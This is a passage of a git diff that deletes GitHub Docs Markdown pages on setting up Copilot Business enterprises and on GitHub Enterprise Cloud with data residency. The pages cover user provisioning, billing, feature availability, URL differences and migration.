"paved-path" integration with {% data variables.product.prodname_emus %}. Alternatively, you can use any system, or combination of systems, that conforms to SAML 2.0 and SCIM 2.0. However, support for resolving problems with these systems may be limited. See [AUTOTITLE](/admin/identity-and-access-management/understanding-iam-for-enterprises/about-enterprise-managed-users#identity-management-systems). -{% data reusables.copilot-business-for-non-ghe.prerequisites %} - -## Requesting an enterprise account - -{% data reusables.copilot-business-for-non-ghe.request-access %} - -After we create your enterprise, you will receive an email inviting you to choose a password for the setup user, which is used to configure authentication and provisioning. The username is your enterprise's shortcode suffixed with `_admin`, for example `fabrikam_admin`. Make sure to open the password reset link using an **incognito or private browsing window**. The link can only be opened once and if done incorrectly you will need to contact {% data variables.contact.github_support %} to send you a new link. - ->[!NOTE] {% data reusables.enterprise-accounts.emu-password-reset-session %} - -## Adding users to the enterprise - -To provision user accounts through your IdP, you'll need to **configure your IdP** by completing the following steps. - -### Step 1: Configure authentication - -To manage single sign-on (SSO) for users, you must connect your IdP to your enterprise account. You can use: -* **SAML** with Entra ID, Okta, or PingFederate. For instructions, see [AUTOTITLE](/admin/identity-and-access-management/configuring-authentication-for-enterprise-managed-users/configuring-saml-single-sign-on-for-enterprise-managed-users). -* **OIDC** with Entra ID. For instructions, see [AUTOTITLE](/admin/identity-and-access-management/configuring-authentication-for-enterprise-managed-users/configuring-oidc-for-enterprise-managed-users). - -### Step 2: Configure SCIM provisioning - -To provision accounts from your IdP, you must configure SCIM provisioning. For instructions, see [AUTOTITLE](/admin/identity-and-access-management/provisioning-user-accounts-for-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users). - -If you want to manage membership of teams from your IdP, you must assign the relevant identity groups to the {% data variables.product.prodname_emu_idp_application %} application on your IdP. - -### Step 3: Assign an enterprise owner - -After you configure authentication and provisioning with your IdP, grant one or more users the enterprise owner role. Enterprise owners can enable {% data variables.product.prodname_copilot_short %} for the enterprise and manage which users receive licenses. For instructions, see [AUTOTITLE](/admin/identity-and-access-management/provisioning-user-accounts-for-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users#assigning-users-and-groups). - -You can also grant the billing manager role. A billing manager can view the assigned licenses for an enterprise, but cannot assign licenses or manage enterprise teams. - -## Adding a payment method - -{% data reusables.copilot-business-for-non-ghe.add-payment-method %} - -## Enabling {% data variables.product.prodname_copilot_short %} for the enterprise - -{% data reusables.copilot-business-for-non-ghe.enable-copilot %} - -## Assigning licenses to users - -When {% data variables.product.prodname_copilot_short %} has been enabled for the enterprise, an **enterprise owner** can create teams in the enterprise and assign licenses to a team. - -* You will grant or remove licenses for users by managing membership of the teams, either from your IdP, directly in {% data variables.product.prodname_dotcom %}, or with the REST API. -* You cannot assign licenses to individual users or to an entire enterprise. -* To manage membership from your IdP, ensure the relevant identity groups have been assigned to the {% data variables.product.prodname_emu_idp_application %} application in your IdP and pushed to {% data variables.product.prodname_dotcom %} via SCIM. - -The same user can be a member of multiple teams. You will only be charged once per user. - -### Creating a team - -> [!NOTE] You can create teams and manage membership using the REST API. For endpoint documentation, please contact your account manager. - -{% data reusables.enterprise-accounts.people-tab %} -1. Under "People", click **Enterprise teams**. -1. Click **New enterprise team**. -1. Enter a name for the team. -1. Optionally, to sync the team with an identity group and manage membership from your IdP, under "Identity Provider Group", select a group from the dropdown menu. If you leave this dropdown menu empty, you will manage membership of the team directly. -1. Click **Create team**. -1. Add users to the team: - - * If you linked the team to an IdP group, add users to the related group in your IdP. - * If you are managing team membership directly, on the team page, click **Add a member**, then search for and select the user. For information about how {% data variables.product.company_short %} generates usernames for users provisioned from an IdP, see [AUTOTITLE](/admin/identity-and-access-management/iam-configuration-reference/username-considerations-for-external-authentication#about-usernames-for-managed-user-accounts). - -### Assigning licenses to a team - -{% data reusables.copilot-business-for-non-ghe.assign-licenses %} - -> [!NOTE] If you manage team membership from Entra ID, addition or removal of a user from a team on {% data variables.product.prodname_dotcom %} may take up to 40 minutes. After Entra ID communicates with {% data variables.product.prodname_dotcom %}, the change will take effect after {% data variables.product.prodname_dotcom %} prompts the user to authenticate. - -## Managing your enterprise - -{% data reusables.copilot-business-for-non-ghe.manage-your-enterprise %} diff --git a/content/admin/copilot-business-only/setting-up-a-dedicated-enterprise-for-copilot-business-personal-accounts.md b/content/admin/copilot-business-only/setting-up-a-dedicated-enterprise-for-copilot-business-personal-accounts.md deleted file mode 100644 index 4dcc17547b5a..000000000000 --- a/content/admin/copilot-business-only/setting-up-a-dedicated-enterprise-for-copilot-business-personal-accounts.md +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: Setting up a dedicated enterprise for Copilot Business (personal accounts) -intro: 'Set up your account, provision users, and assign licenses.' -versions: - ghec: '*' -topics: - - Accounts - - Enterprise - - Fundamentals -shortTitle: Set up with personal accounts -redirect_from: - - /early-access/copilot/using-copilot-business-without-github-enterprise-personal-accounts ---- - -You can use an enterprise account to manage licenses for {% data variables.product.prodname_copilot_for_business %}, without adopting {% data variables.product.prodname_enterprise %}. - -This article describes the setup for an **enterprise with personal accounts**. If you haven't chosen an enterprise type, see [AUTOTITLE](/admin/copilot-business-only/about-enterprise-accounts-for-copilot-business). - -## Prerequisites - -{% data reusables.copilot-business-for-non-ghe.prerequisites %} - -## Requesting an enterprise account - -{% data reusables.copilot-business-for-non-ghe.request-access %} - -## Adding users to the enterprise - -After you invite someone to join the enterprise account, they must accept the emailed invitation before they can access the enterprise account. Pending invitations will expire after 7 days. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.people-tab %} -1. Under "People", click **Members**. -1. Click **Invite member**. -1. Search for the user you want to invite, then click **Invite**. - -### Inviting an enterprise owner - -You can also invite a user as an enterprise owner. Enterprise owners can grant access to {% data variables.product.prodname_copilot %} and set policies for the enterprise. See [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise#inviting-an-enterprise-administrator-to-your-enterprise-account). - -You can also invite a user as a billing manager. A billing manager can view the assigned licenses for an enterprise, but cannot assign licenses or manage enterprise teams. - -### Configuring SAML authentication - -You can configure SAML single sign-on to require users to authenticate to an external identity management system in addition to their personal account. See [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise). - -## Adding a payment method - -{% data reusables.copilot-business-for-non-ghe.add-payment-method %} - -## Enabling {% data variables.product.prodname_copilot_short %} for the enterprise - -{% data reusables.copilot-business-for-non-ghe.enable-copilot %} - -## Assigning licenses to users - -When {% data variables.product.prodname_copilot_short %} has been enabled for the enterprise, an **enterprise owner** can create teams in the enterprise and assign licenses to a team. - -* You will grant or remove licenses for users by managing membership of the teams, either in {% data variables.product.prodname_dotcom %} or with the REST API. -* You cannot assign licenses to individual users or to an entire enterprise. - -The same user can be a member of multiple teams. You will only be charged once per user. - -### Creating a team - -> [!NOTE] You can create teams and manage membership using the REST API. For endpoint documentation, please contact your account manager. - -{% data reusables.enterprise-accounts.people-tab %} -1. Under "People", click **Enterprise teams**. -1. Click **New enterprise team**. -1. Enter a name for the team. -1. Click **Create team**. -1. To add users, click **Add a member**, then search for and select the user. - -### Assigning licenses to a team - -{% data reusables.copilot-business-for-non-ghe.assign-licenses %} - -## Managing your enterprise - -{% data reusables.copilot-business-for-non-ghe.manage-your-enterprise %} diff --git a/content/admin/data-residency/about-github-enterprise-cloud-with-data-residency.md b/content/admin/data-residency/about-github-enterprise-cloud-with-data-residency.md deleted file mode 100644 index e8436d700d34..000000000000 --- a/content/admin/data-residency/about-github-enterprise-cloud-with-data-residency.md +++ /dev/null @@ -1,118 +0,0 @@ ---- -title: About GitHub Enterprise Cloud with data residency -intro: "With {% data variables.product.prodname_ghe_cloud %}, you can have more control over your data without needing to host your own platform." -shortTitle: What is data residency? -versions: - ghec: '*' -redirect_from: - - /early-access/admin/using-a-data-local-enterprise-on-github/about-the-alpha-of-data-locality-for-github-enterprise-cloud - - /early-access/admin/using-a-data-local-enterprise-on-github/about-the-alpha-of-data-residency-for-github-enterprise-cloud - - /early-access/admin/preview-of-data-residency-for-github-enterprise/about-the-preview-of-data-residency-for-github-enterprise - - /early-access/admin/private-ga-of-data-residency-for-github-enterprise-cloud/about-the-private-ga-of-data-residency-for-github-enterprise-cloud - - /early-access/admin/data-residency-for-github-enterprise-cloud/about-data-residency-for-github-enterprise-cloud ---- - -By default, {% data variables.product.company_short %} stores data for {% data variables.product.prodname_dotcom_the_website %} in the USA. {% data reusables.data-residency.when-you-adopt-data-residency %} To learn how {% data variables.product.company_short %} handles data storage, see [AUTOTITLE](/admin/data-residency/about-storage-of-your-data-with-data-residency). - -To get {% data variables.enterprise.data_residency_short %} for your enterprise, **contact {% data variables.contact.contact_sales_data_residency %}**. - -## What is {% data variables.product.prodname_ghe_cloud %}? - -{% data variables.product.github %} is a complete developer platform for building, scaling, and delivering secure software. In addition to these capabilities, {% data variables.product.prodname_ghe_cloud %} offers several key features designed to further optimize and secure your use of the platform: - -* Includes an **enterprise account:** a dedicated, shared space for your company to store code, collaborate, and access {% data variables.product.company_short %} features -* Centralizes billing, administration, governance, and audit of your company’s resources and activity -* Is accessible only to authorized users, isolated from the wider {% data variables.product.prodname_dotcom_the_website %} community -* Includes management of authentication and user lifecycles from an external identity management system: - - * **SCIM** for provisioning - * **SAML** or **OIDC** for authentication - -With {% data variables.enterprise.data_residency_short %}, {% data variables.enterprise.prodname_managed_users %} access your resources through a dedicated subdomain of {% data variables.enterprise.data_residency_site %}, and can only interact with resources that belong to your enterprise. - -## Why move data to the cloud? - -If you currently use a self-hosted service like {% data variables.product.prodname_ghe_server %}, {% data variables.enterprise.data_residency %} will help you to have more control over your data while benefiting from a cloud-based, managed product. - -* Your users will have access to the latest features from {% data variables.product.prodname_dotcom_the_website %}, such as {% data variables.product.prodname_copilot %}, without needing to wait for features to be available in {% data variables.product.prodname_ghe_server %} releases. -* You'll have a simplified administrative experience, and won't need to schedule downtime for maintenance or upgrades. - -## How does billing work? - -To adopt {% data variables.enterprise.data_residency %}, you'll sign up for the **{% data variables.product.prodname_enterprise %} plan**, which covers your enterprise on {% data variables.enterprise.data_residency_site %} and, if you need it, {% data variables.product.prodname_ghe_server %}. For pricing details, see our [Pricing](https://github.com/pricing) page. - -To pay for user licenses and services, you can: -* Add a credit card or PayPal account to your enterprise and bill directly through {% data variables.product.company_short %} -* Connect your enterprise to a Microsoft Azure subscription - -You will be on our latest billing platform, which allows you to estimate spending, create cost centers to manage expenses, and pay flexibly for the services you use. - -You can also sign up for usage-based billing for {% data variables.product.prodname_enterprise %} and {% data variables.product.prodname_GHAS %}{% ifversion ghas-products-cloud %} products{% endif %}, meaning you won't need to purchase a pre-defined number of licenses in advance. - -## Developer experience - -The developer experience on {% data variables.enterprise.data_residency_site %} differs in some ways from {% data variables.product.prodname_dotcom_the_website %} and {% data variables.product.prodname_ghe_server %}. - -* [Identity and access](#identity-and-access) -* [Functionality for managed user accounts](#functionality-for-managed-user-accounts) -* [Repository visibility](#repository-visibility) -* [API access](#api-access) -* [{% data variables.product.prodname_copilot %}](#github-copilot) -* [Documentation](#documentation) - -### Identity and access - -Enterprises on {% data variables.enterprise.data_residency_site %} use **{% data variables.product.prodname_emus %}**. In an {% data variables.enterprise.prodname_emu_enterprise %}, your company manages the user accounts that people use to access your resources. These accounts can only access your enterprise's resources, and are isolated from the wider open source community on {% data variables.product.prodname_dotcom_the_website %}. - -People access your enterprise via the {% data variables.enterprise.data_residency_site %} URL that you choose during onboarding. To access your enterprise's resources, people must authenticate through the identity management system that your company uses. - -### Network access - -Network details such as IP ranges and SSH key fingerprints differ between {% data variables.enterprise.data_residency_site %} and {% data variables.product.prodname_dotcom_the_website %}. You must give client systems such as storage accounts or identity provider integrations access to your enterprise. See [AUTOTITLE](/admin/data-residency/network-details-for-ghecom). - -### Functionality for {% data variables.enterprise.prodname_managed_users %} - -Administrators and developers with access to your enterprise can take advantage of the full {% data variables.product.prodname_dotcom %} platform, with the exception of some features that are currently unavailable. - -Developers may have experience using a personal account on {% data variables.product.prodname_dotcom_the_website %}, or a user account on a {% data variables.product.prodname_ghe_server %} instance. The experience of using a {% data variables.enterprise.prodname_managed_user %} on {% data variables.enterprise.data_residency_site %} differs in some ways. See [AUTOTITLE](/admin/identity-and-access-management/understanding-iam-for-enterprises/abilities-and-restrictions-of-managed-user-accounts). - -### Repository visibility - -Public repositories are not available in an {% data variables.enterprise.prodname_emu_enterprise %}. To practice innersource, users can create internal repositories that are visible to all enterprise members. See [AUTOTITLE](/repositories/creating-and-managing-repositories/about-repositories#about-internal-repositories). - -### API access - -{% data reusables.data-residency.data-resident-enterprises-api-access %} For example, if your enterprise's subdomain is `octocorp`, users should send requests to `https://api.octocorp.ghe.com`. - -Users can simplify API requests by using the {% data variables.product.prodname_cli %}. However, if they also need to access resources on {% data variables.product.prodname_dotcom_the_website %} or {% data variables.product.prodname_ghe_server %}, they will need to authenticate to multiple accounts and specify a target platform for most requests. See [AUTOTITLE](/github-cli/github-cli/using-multiple-accounts). - -Rate limits apply for requests to the REST API. See [AUTOTITLE](/rest/overview/rate-limits-for-the-rest-api). - -### {% data variables.product.prodname_copilot %} - -Your developers can access {% data variables.product.prodname_copilot %} if you grant them access to a {% data variables.product.prodname_copilot_business_short %} or {% data variables.product.prodname_copilot_enterprise_short %} subscription. {% data variables.enterprise.prodname_managed_users_caps %} cannot sign up for {% data variables.product.prodname_copilot_individuals_short %}. - -* Users must perform some additional setup to authenticate to their account from their development environment. See [AUTOTITLE](/copilot/managing-copilot/configure-personal-settings/using-github-copilot-with-an-account-on-ghecom). -* Certain {% data variables.product.prodname_copilot %} features are currently unavailable on {% data variables.enterprise.data_residency_site %}. See [AUTOTITLE](/admin/data-residency/feature-overview-for-github-enterprise-cloud-with-data-residency#currently-unavailable-features). - -### Documentation - -In general, the content on [{% data variables.product.prodname_docs %}](/enterprise-cloud@latest) reflects the user experience on {% data variables.enterprise.data_residency_site %}. Readers should use the "{% data variables.product.prodname_ghe_cloud %}" version of the site. See [AUTOTITLE](/get-started/using-github-docs/about-versions-of-github-docs#about-versions-of-github-docs). - -When reading the documentation, readers may need to substitute references to {% data variables.product.prodname_dotcom_the_website %} with your enterprise's dedicated URL on {% data variables.enterprise.data_residency_site %}. - -## Feature overview - -{% data reusables.data-residency.data-resident-enterprise-feature-availability %} See [AUTOTITLE](/admin/data-residency/feature-overview-for-github-enterprise-cloud-with-data-residency). - -## Getting started - -When you have worked with your account team to create a new enterprise account and choose a subdomain on {% data variables.enterprise.data_residency_site %}, you can get started with your new enterprise. - -You will: - -* Create accounts for your company's administrators and developers -* Add your billing details -* Optionally, migrate data from another platform - -To get started, see [AUTOTITLE](/admin/data-residency/getting-started-with-data-residency-for-github-enterprise-cloud). diff --git a/content/admin/data-residency/about-storage-of-your-data-with-data-residency.md b/content/admin/data-residency/about-storage-of-your-data-with-data-residency.md deleted file mode 100644 index 18fbea1006d2..000000000000 --- a/content/admin/data-residency/about-storage-of-your-data-with-data-residency.md +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: About storage of your data with data residency -shortTitle: How is data stored? -intro: "Learn how your data is stored when you use {% data variables.enterprise.data_residency %}." -versions: - ghec: '*' -redirect_from: - - /early-access/admin/using-a-data-resident-enterprise-on-github/about-data-locality - - /early-access/admin/using-a-data-resident-enterprise-on-github/about-data-residency - - /early-access/admin/preview-of-data-residency-for-github-enterprise/about-data-residency-in-the-european-union - - /early-access/admin/private-ga-of-data-residency-for-github-enterprise-cloud/about-data-residency-in-the-european-union - - /early-access/admin/data-residency-for-github-enterprise-cloud/about-data-residency-in-the-european-union ---- - -{% data reusables.data-residency.when-you-adopt-data-residency %} - -Although your code and user data are stored within your chosen region, {% data variables.product.company_short %} may store certain types of data outside your region, and may need to transfer some data outside your region. - -If you are in doubt about any aspect of {% data variables.enterprise.data_residency_short %}, contact your account manager. - -## Data stored in your region - -{% data variables.product.company_short %} stores the following data for your enterprise within your chosen region. - -| Description of data | Examples | -| :- | :- | -| Customer content, including text, data, software, images, and other data available on the service | <ul><li>Repositories, including repository name and source code</li><li>User-generated content or URLs from the service, such as a pull request, comment, file path, raw URL, or filename</li><li>Structured or blob storage</li></ul> | -| Data or logs that identify your company | <ul><li>Data and logs for GitHub Actions</li><li>Data for business continuity and disaster recovery (BCDR)</li></ul> | -| Data or logs that identify a person | <ul><li>Email address</li><li>Username</li><li>First or last name</li><li>IP address</li></ul> | - -## Data stored outside your region - -For the purposes outlined in our [Data Protection Agreement](https://github.com/customer-terms/github-data-protection-agreement), {% data variables.product.company_short %} may store the following data for your enterprise outside your chosen region. - -| Description of data | Examples | -| :- | :- | -| Telemetry or logs containing consistent identifiers tied to a person, that by themselves do not identify the person without additional information | <ul><li>User ID or GUID as integer value in a database</li><li>Unsalted hash of other data that could identify a person</li><ul><li>Email address</li><li>Username</li><li>First or last name</li><li>IP address</li></ul> | -| Information that GitHub needs to administer a paid plan | <ul><li>Contact information</li><li>Billing, purchase, payment, or license information</li></ul> | -| Support and feedback data | <ul><li>Support requests or case notes</li><li>Phone conversations</li><li>Online chat sessions</li><li>Remote assistance sessions</li></ul> | -| {% data variables.product.prodname_copilot %} data | Data and logs for {% data variables.product.prodname_copilot %} | - -## Data transfers - -{% data variables.product.company_short %} will document reasons for the transfer of data out of your enterprise's region, but does not notify you when transfers occur. - -Additionally, {% data variables.product.company_short %} sends information about the TLS certificate for your enterprise's subdomain on {% data variables.enterprise.data_residency_site %} to certificate authorities (CAs) and the certificate transparency (CT) ecosystem. Some entities may be outside of your enterprise's region. - -## Data subject requests - -If you need to comply with a data subject request (DSR), contact {% data variables.contact.contact_support_page %}. - -If {% data variables.product.company_short %} receives a request from one of your data subjects pertaining to {% data variables.enterprise.data_residency_short %} for {% data variables.product.prodname_ghe_cloud %}, where {% data variables.product.company_short %} functions as your processor or subprocessor, {% data variables.product.company_short %} will redirect the data subject to you. Consistent with the functionality of the services and {% data variables.product.company_short %}'s role, we will cooperate with you and provide you the necessary means to respond. diff --git a/content/admin/data-residency/feature-overview-for-github-enterprise-cloud-with-data-residency.md b/content/admin/data-residency/feature-overview-for-github-enterprise-cloud-with-data-residency.md deleted file mode 100644 index 9a5e6b0835a2..000000000000 --- a/content/admin/data-residency/feature-overview-for-github-enterprise-cloud-with-data-residency.md +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: Feature overview for GitHub Enterprise Cloud with data residency -shortTitle: Which features are available? -intro: "Learn about the available features on {% data variables.enterprise.data_residency_site %}, plus features that work differently from {% data variables.product.prodname_dotcom_the_website %}." -versions: - ghec: '*' -redirect_from: - - /early-access/admin/data-residency-for-github-enterprise-cloud/feature-overview-for-github-enterprise-cloud-with-data-residency ---- - -{% data reusables.data-residency.data-resident-enterprise-feature-availability %} Some features work differently or require additional configuration compared to the equivalent feature on {% data variables.product.prodname_dotcom_the_website %}. - -## Available features - -{% data variables.product.prodname_ghe_cloud %} is a developer platform that supports the entire software development lifecycle, including planning work, automating tests and deployments, and keeping code secure. To learn about available features, see [AUTOTITLE](/enterprise-cloud@latest/admin/overview/feature-overview-for-github-enterprise-cloud). - -## Currently unavailable features - -The following features are currently unavailable on {% data variables.enterprise.data_residency_site %}. - -| Feature | Details | More information | -| :- | :- | :- | -| {% data variables.product.prodname_github_codespaces %} | Currently unavailable. | [AUTOTITLE](/codespaces/quickstart) | -| {% data variables.product.prodname_marketplace %} | Currently, apps from {% data variables.product.prodname_marketplace %} are unavailable. {% data variables.product.prodname_actions %} workflows from {% data variables.product.prodname_marketplace %} may not function as expected. For more information, see [GitHub Actions workflows from GitHub Marketplace](#github-actions-workflows-from-github-marketplace). | [AUTOTITLE](/search-github/searching-on-github/searching-github-marketplace) | [AUTOTITLE](/enterprise-server@latest/admin/configuration/configuring-github-connect/about-github-connect#github-connect-features) in the {% data variables.product.prodname_ghe_server %} documentation | -| macOS runners for {% data variables.product.prodname_actions %} | Currently unavailable. | [AUTOTITLE](/actions/using-github-hosted-runners/about-github-hosted-runners/about-github-hosted-runners) | -| Maven and Gradle support for {% data variables.product.prodname_registry %} | Currently unavailable. | [AUTOTITLE](/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry) | -| Achievements | Currently unavailable. | [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/viewing-contributions-on-your-profile) | -| {% data variables.product.prodname_importer %} | Currently unavailable | [AUTOTITLE](/migrations/importing-source-code/using-github-importer/about-github-importer) | -| {% data variables.product.prodname_copilot %} Workspaces | Currently unavailable | N/A | -| {% data variables.product.prodname_copilot_extensions %} | Currently unavailable | [AUTOTITLE](/copilot/using-github-copilot/using-extensions-to-integrate-external-tools-with-copilot-chat) | -| {% data variables.product.prodname_copilot_short %} Metrics API | Currently unavailable | [AUTOTITLE](/rest/copilot/copilot-metrics) | -| Interactive maps | Currently can't use GeoJSON/TopoJSON syntax to create interactive maps. | [AUTOTITLE](/get-started/writing-on-github/working-with-advanced-formatting/creating-diagrams#creating-geojson-and-topojson-maps) | -| Restricting {% data variables.product.prodname_actions %} policies to verified creators | Currently unavailable | [AUTOTITLE](/admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#allow-enterprise-and-select-non-enterprise-actions-and-reusable-workflows) | -| Some features currently in {% data variables.release-phases.public_preview %} or {% data variables.release-phases.private_preview %} | Certain features that are in a preview phase on {% data variables.product.prodname_dotcom_the_website %} may not be available on {% data variables.enterprise.data_residency_site %} | | - -## Features that work differently - -The following features are either specific to {% data variables.enterprise.data_residency_site %} or work differently compared to {% data variables.product.prodname_dotcom_the_website %}. - -* [API access](#api-access) -* [URL differences](#url-differences) -* [{% data variables.product.prodname_actions %} workflows from {% data variables.product.prodname_marketplace %}](#github-actions-workflows-from-github-marketplace) -* [Retirement of namespaces for actions accessed on {% data variables.product.prodname_dotcom_the_website %}](#retirement-of-namespaces-for-actions-accessed-on-githubcom) -* [GitHub Connect](#github-connect) - -### API access - -{% data reusables.data-residency.data-resident-enterprises-api-access %} For more information, see [AUTOTITLE](/admin/data-residency/about-github-enterprise-cloud-with-data-residency#api-access). - -### URL differences - -The URL formats for certain features and services vary between {% data variables.product.prodname_dotcom_the_website %} and {% data variables.enterprise.data_residency_site %}. If you're migrating to {% data variables.enterprise.data_residency_site %} and have automations or integrations that depend on URL values for {% data variables.product.prodname_dotcom_the_website %}, you will need to updates these values. - -The following examples are not exhaustive. - -{% rowheaders %} - -| Feature | Example on {% data variables.product.prodname_dotcom_the_website %} | Example on {% data variables.enterprise.data_residency_site %} | -| ------ | ------------ | ----------- | -| {% data variables.product.prodname_registry %} | The {% data variables.product.prodname_container_registry %} is located at {% data variables.product.prodname_container_registry_namespace %}. | The {% data variables.product.prodname_container_registry %} is located at `https://containers.SUBDOMAIN.ghe.com`. | -| User provisioning | The "tenant URL" for Microsoft Entra ID is `https://api.github.com/scim/v2/enterprises/ENTERPRISE` | The "tenant URL" for Microsoft Entra ID is `https://api.SUBDOMAIN.ghe.com/scim/v2/enterprises/SUBDOMAIN` | -| OIDC trusts for {% data variables.product.prodname_actions %} deployments | The OIDC token is issued from `https://token.actions.githubusercontent.com`. | The OIDC token is issued from `https://token.actions.SUBDOMAIN.ghe.com` | -| Raw URLs | `https://raw.githubusercontent.com/` | `https://raw.SUBDOMAIN.ghe.com/` | -| Anonymized URLs for images and videos | `https://private-user-images.githubusercontent.com/` | `https://SUBDOMAIN.ghe.com/user-attachments/assets/` | - -{% endrowheaders %} - -### {% data variables.product.prodname_actions %} workflows from {% data variables.product.prodname_marketplace %} - -{% data variables.product.prodname_actions %} workflows from the {% data variables.product.prodname_marketplace %} may not work as users expect. - -* Some actions hard-code API calls to api.github.com, which don't currently work for enterprises on {% data variables.enterprise.data_residency_site %}. -* Some actions make requests to resources on {% data variables.location.product_location %}, and these actions will **not** work for enterprises on {% data variables.enterprise.data_residency_site %} unless the author has built a mechanism to inject a secondary token for API calls. A `GITHUB_TOKEN` within a workflow run for your enterprise on {% data variables.enterprise.data_residency_site %} does not grant access to resources on {% data variables.location.product_location %}. - -### Retirement of namespaces for actions accessed on {% data variables.product.prodname_dotcom_the_website %} - -{% data reusables.actions.namespace-retirement-ghecom %} - -To allow people to use namespaces that match actions you have used from {% data variables.product.prodname_dotcom_the_website %}, you can make a retired namespace available. See [AUTOTITLE](/actions/administering-github-actions/making-retired-namespaces-available-on-ghecom). - -### {% data variables.product.prodname_github_connect %} - -You can use {% data variables.product.prodname_github_connect %} to connect to {% data variables.enterprise.data_residency_site %} from {% data variables.product.prodname_ghe_server %}. - -* {% data variables.product.prodname_server_statistics %} is not available. -* Automatic user license sync requires {% data variables.product.prodname_ghe_server %} version 3.15 or later. - -To enable {% data variables.product.prodname_github_connect %}, you must configure your {% data variables.product.prodname_ghe_server %} instance to connect to your {% data variables.enterprise.data_residency_site %} subdomain. See [AUTOTITLE](/enterprise-server@latest/admin/configuring-settings/configuring-github-connect/enabling-github-connect-for-ghecom). diff --git a/content/admin/data-residency/getting-started-with-data-residency-for-github-enterprise-cloud.md b/content/admin/data-residency/getting-started-with-data-residency-for-github-enterprise-cloud.md deleted file mode 100644 index f5658890f2d7..000000000000 --- a/content/admin/data-residency/getting-started-with-data-residency-for-github-enterprise-cloud.md +++ /dev/null @@ -1,127 +0,0 @@ ---- -title: Getting started with data residency for GitHub Enterprise Cloud -shortTitle: Get started -intro: "Set up your enterprise on {% data variables.enterprise.data_residency_site %} by onboarding users, enabling billing, and migrating data." -versions: - ghec: '*' -redirect_from: - - /early-access/admin/using-a-data-local-enterprise-on-github/getting-started-with-a-data-local-enterprise - - /early-access/admin/using-a-data-local-enterprise-on-github/getting-started-with-a-data-resident-enterprise - - /early-access/admin/preview-of-data-residency-for-github-enterprise/getting-started-with-the-preview-of-data-residency - - /early-access/admin/private-ga-of-data-residency-for-github-enterprise-cloud/getting-started-with-the-private-ga-of-data-residency - - /early-access/admin/data-residency-for-github-enterprise-cloud/getting-started-with-data-residency-for-github-enterprise-cloud - - /early-access/admin/preview-of-data-residency-for-github-enterprise/configuring-authentication-and-provisioning-for-your-enterprise - - /early-access/admin/private-ga-of-data-residency-for-github-enterprise-cloud/configuring-authentication-and-provisioning-for-your-enterprise - - /early-access/admin/data-residency-for-github-enterprise-cloud/configuring-authentication-and-provisioning-for-your-enterprise ---- - -When you adopt {% data variables.enterprise.data_residency %}, you can choose where your company's code and data are stored. - -After you have **worked with {% data variables.contact.contact_sales_data_residency %}** to create an enterprise account with a dedicated URL on {% data variables.enterprise.data_residency_site %}, you'll use this guide to set up your enterprise. You will: - -* Add users by configuring authentication and provisioning with an identity management system -* Set up billing for your enterprise -* Optionally, migrate data from another platform -* Learn about available features, including features that work differently or require additional configuration - -After this initial setup, you'll be able to create organizations and repositories, collaborate on code, configure policies, and more. - -## Prerequisites - -* You must have been provisioned with an enterprise on {% data variables.enterprise.data_residency_site %}. - -* If you intend to pay with a Microsoft Azure subscription, you must have admin access to the Azure portal or work with someone to configure an admin consent workflow. For a full list of prerequisites, see [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/connecting-an-azure-subscription#prerequisites). - -* {% data reusables.data-residency.data-resident-enterprises-network-access %} - -## 1. Add users to your enterprise - -Enterprises on {% data variables.enterprise.data_residency_site %} use {% data variables.product.prodname_emus %}. To create user accounts and grant access to your new enterprise on {% data variables.enterprise.data_residency_site %}, you must configure authentication and SCIM provisioning. See [AUTOTITLE](/admin/managing-iam/understanding-iam-for-enterprises/getting-started-with-enterprise-managed-users). - -### Sign in as the setup user - -After we create your enterprise, you will receive an email inviting you to choose a password for the setup user, which is used to configure authentication and provisioning. The username is a randomly generated shortcode, suffixed with `_admin`. - -Using an **incognito or private browsing window**: - -1. Set the user's password. -1. Enable two-factor authentication (2FA), and save the user's recovery codes. See [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication). - - > [!NOTE] - > If 2FA isn't enabled, you will need to enter your enterprise's single sign-on (SSO) recovery code each time you sign in as the setup user. You can download these codes once SSO is enabled. - -{% data reusables.enterprise-accounts.emu-recommend-password-manager %} - -{% data reusables.enterprise-accounts.emu-password-reset-session %} - -### Create a {% data variables.product.pat_generic %} - -{% data reusables.enterprise-accounts.emu-create-a-pat %} - -### Configure authentication - -{% data reusables.enterprise-accounts.emu-configure-authentication %} - -### Configure provisioning - -{% data reusables.enterprise-accounts.emu-configure-provisioning %} - -### Manage organization membership - -{% data reusables.enterprise-accounts.emu-manage-org-membership %} - -## 2. Set up billing - -To pay for licenses and services, you can use a credit card, PayPal, or a Microsoft Azure subscription. - -* To add a credit card or PayPal details, see [AUTOTITLE](/billing/using-the-new-billing-platform/managing-your-payment-and-billing-information#viewing-payment-information). -* To link an Azure subscription, see [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/connecting-an-azure-subscription#connecting-your-azure-subscription-to-your-enterprise-account). - -## 3. Migrate data - -Optionally, to migrate existing data to your new enterprise on {% data variables.enterprise.data_residency_site %}, you can use {% data variables.product.company_short %}'s migration tools. - -* If you're migrating from {% data variables.product.prodname_dotcom_the_website %}, {% data variables.product.prodname_ghe_server %}, Azure DevOps, or Bitbucket Server, you can migrate source code history and metadata with {% data variables.product.prodname_importer_proper_name %}. See [AUTOTITLE](/migrations/using-github-enterprise-importer/understanding-github-enterprise-importer/about-github-enterprise-importer). -* If you're migrating from a different platform, see [AUTOTITLE](/migrations/overview/migration-paths-to-github#migrations-to-ghecom). - -### Example script for {% data variables.product.prodname_importer_proper_name %} - -The following script demonstrates the use of {% data variables.product.prodname_importer_proper_name %} for migration of an individual source repository from {% data variables.product.prodname_dotcom_the_website %} to a target repository on {% data 